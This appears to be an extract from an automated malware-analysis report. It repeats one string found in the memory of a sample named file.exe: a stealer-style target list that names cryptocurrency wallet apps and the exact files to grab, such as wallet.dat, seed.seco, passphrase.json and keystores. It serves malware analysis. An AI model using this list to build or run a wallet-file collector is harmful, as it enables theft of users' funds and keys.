Source: file.exe, 00000000.00000002.2419533925.00000000014B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2419533925.00000000014B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2419533925.00000000014B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2419533925.00000000014B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2419533925.00000000014B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2419533925.00000000014B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2419533925.00000000014B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2419533925.00000000014B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2419533925.00000000014B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2419533925.00000000014B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2419533925.00000000014B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
